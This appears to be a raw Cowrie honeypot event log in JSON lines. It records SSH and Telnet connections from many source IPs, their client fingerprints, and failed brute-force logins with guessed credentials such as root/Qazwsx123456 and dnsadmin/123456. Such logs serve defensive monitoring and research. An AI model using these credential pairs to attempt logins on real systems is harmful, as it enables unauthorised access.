{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:43.556099Z","src_ip":"201.17.146.173","session":"30c2d1fd6e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:43.705910Z","src_ip":"201.17.146.173","session":"30c2d1fd6e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dnsadmin","password":"123456","message":"login attempt [dnsadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:44.318213Z","src_ip":"201.17.146.173","session":"30c2d1fd6e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:45.470785Z","src_ip":"201.17.146.173","session":"30c2d1fd6e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":46232,"dst_ip":"10.17.0.5","dst_port":22,"session":"59e21de35fcb","protocol":"ssh","message":"New connection: 79.104.0.82:46232 (10.17.0.5:22) [session: 59e21de35fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:46.666751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:46.671007Z","src_ip":"79.104.0.82","session":"59e21de35fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:46.830330Z","src_ip":"79.104.0.82","session":"59e21de35fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blogger","password":"123456","message":"login attempt [blogger/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:47.500469Z","src_ip":"79.104.0.82","session":"59e21de35fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:48.663297Z","src_ip":"79.104.0.82","session":"59e21de35fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7474b9e56a96","protocol":"telnet","message":"New connection: 128.199.8.54:58020 (159.203.135.109:23) [session: 7474b9e56a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:52.591402Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":54794,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf40dd2fe00","protocol":"ssh","message":"New connection: 189.203.163.10:54794 (10.17.0.5:22) [session: abf40dd2fe00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:54.652263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:54.658356Z","src_ip":"189.203.163.10","session":"abf40dd2fe00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:54.724690Z","src_ip":"189.203.163.10","session":"abf40dd2fe00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmail","password":"dmail","message":"login attempt [dmail/dmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:55.016868Z","src_ip":"189.203.163.10","session":"abf40dd2fe00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:24:56.083391Z","src_ip":"189.203.163.10","session":"abf40dd2fe00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":49424,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e79de17bd26","protocol":"ssh","message":"New connection: 102.88.137.80:49424 (10.17.0.5:22) [session: 4e79de17bd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:14.004681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:14.010786Z","src_ip":"102.88.137.80","session":"4e79de17bd26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:14.194814Z","src_ip":"102.88.137.80","session":"4e79de17bd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceo","password":"ceo123","message":"login attempt [ceo/ceo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:14.959530Z","src_ip":"102.88.137.80","session":"4e79de17bd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:16.145273Z","src_ip":"102.88.137.80","session":"4e79de17bd26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":59590,"dst_ip":"10.17.0.5","dst_port":22,"session":"07ceb69e45d8","protocol":"ssh","message":"New connection: 5.89.75.194:59590 (10.17.0.5:22) [session: 07ceb69e45d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:16.746069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:16.751223Z","src_ip":"5.89.75.194","session":"07ceb69e45d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:16.856439Z","src_ip":"5.89.75.194","session":"07ceb69e45d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"james","password":"jamesjames","message":"login attempt [james/jamesjames] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:17.299408Z","src_ip":"5.89.75.194","session":"07ceb69e45d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:18.405285Z","src_ip":"5.89.75.194","session":"07ceb69e45d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":49364,"dst_ip":"159.203.135.109","dst_port":22,"session":"be44ff9c902a","protocol":"ssh","message":"New connection: 101.47.159.125:49364 (159.203.135.109:22) [session: be44ff9c902a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:21.850315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:21.866757Z","src_ip":"101.47.159.125","session":"be44ff9c902a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:22.106928Z","src_ip":"101.47.159.125","session":"be44ff9c902a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd@2026","message":"login attempt [root/P@55w0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:23.095875Z","src_ip":"101.47.159.125","session":"be44ff9c902a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"4706f9c589af","protocol":"ssh","message":"New connection: 217.168.240.63:36338 (159.203.135.109:22) [session: 4706f9c589af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:23.108663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:23.113657Z","src_ip":"217.168.240.63","session":"4706f9c589af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:23.240777Z","src_ip":"217.168.240.63","session":"4706f9c589af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx123456","message":"login attempt [root/Qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:23.785063Z","src_ip":"217.168.240.63","session":"4706f9c589af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:24.337420Z","src_ip":"101.47.159.125","session":"be44ff9c902a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:24.916113Z","src_ip":"217.168.240.63","session":"4706f9c589af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1855b83db18","protocol":"telnet","message":"New connection: 128.199.8.54:50796 (159.203.135.109:23) [session: a1855b83db18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:34.118890Z"}
{"eventid":"cowrie.session.closed","duration":44.29193711280823,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:36.883216Z","src_ip":"128.199.8.54","session":"7474b9e56a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":48632,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc67214a5397","protocol":"ssh","message":"New connection: 76.79.213.69:48632 (10.17.0.5:22) [session: fc67214a5397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:37.344562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:37.349662Z","src_ip":"76.79.213.69","session":"fc67214a5397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:37.471763Z","src_ip":"76.79.213.69","session":"fc67214a5397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry","message":"login attempt [jerry/jerry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:37.993820Z","src_ip":"76.79.213.69","session":"fc67214a5397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:39.119071Z","src_ip":"76.79.213.69","session":"fc67214a5397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38376,"dst_ip":"159.203.135.109","dst_port":22,"session":"d021ddac5498","protocol":"ssh","message":"New connection: 27.71.230.31:38376 (159.203.135.109:22) [session: d021ddac5498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:56.334349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:56.441337Z","src_ip":"27.71.230.31","session":"d021ddac5498","protocol":"ssh"}
